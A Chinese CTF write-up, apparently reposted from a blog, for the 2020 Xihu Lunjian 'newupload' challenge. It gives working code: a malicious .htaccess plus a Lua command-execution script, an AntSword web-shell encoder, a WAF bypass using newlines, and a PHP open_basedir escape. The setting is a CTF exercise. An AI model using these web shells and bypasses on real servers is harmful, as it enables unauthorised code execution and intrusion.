欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2020年西湖论剑 newupload

程序员文章站 2022-05-30 14:17:45
...

前言

这道题一共有2种解法,一种是lua来解,一种是FPM来解。不过FPM的解法在复现种遇到了一点障碍,还需要花时间来解决,因此先把lua的解法写下来。

第一种解法

首先我们需要宝塔的waf是一个什么东西。我们可以自己弄一个宝塔来试试,看看nginx里的配置:
2020年西湖论剑 newupload

可以看到这是一个lua+nginx的waf。如果还想不到Lua,可以利用插件来看看:
2020年西湖论剑 newupload
Lua和OpenResty也是一个很明显的提示。因此这题的预期解是利用lua。

先上传一个.htaccess文件,内容如下:

AddHandler lua-script .lua

然后再写一个1.lua文件,里面的内容可以上网找一个:

require "string"

function handle(r)
    r.content_type = "text/plain"
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)

    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

最重要的就是这三行:

local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)

具体有什么用,我只能说,懂得都懂。。。

然后访问这个1.lua,就可以得到flag。

这题看了各位师傅们的WP学到的东西

复现的时候看了很多师傅们的WP,真的学到了很多的东西,因此在这里总结一下。

上传php

直接想办法绕宝塔的waf来传php。。只能说师傅们太强了。
利用换行来绕过waf:
2020年西湖论剑 newupload

连蚁剑

首先自己弄个编码器,然后改一改:

/**
 * php::base64编码器
 * Create at: 2020/10/19 11:35:47
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']// 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = data[randomID];

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

然后就是传:
2020年西湖论剑 newupload
然后改UA连就可以了:
2020年西湖论剑 newupload

绕过open_basedir

通过查看phpinfo(),得知存在open_basedir。
具体绕过姿势如下:

mkdir('feng');
chdir('feng');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

因为disable_function里没有scandir,因此可以进行扫目录。这样就可以成功绕过open_basedir。

第二种解法

还在尝试。。。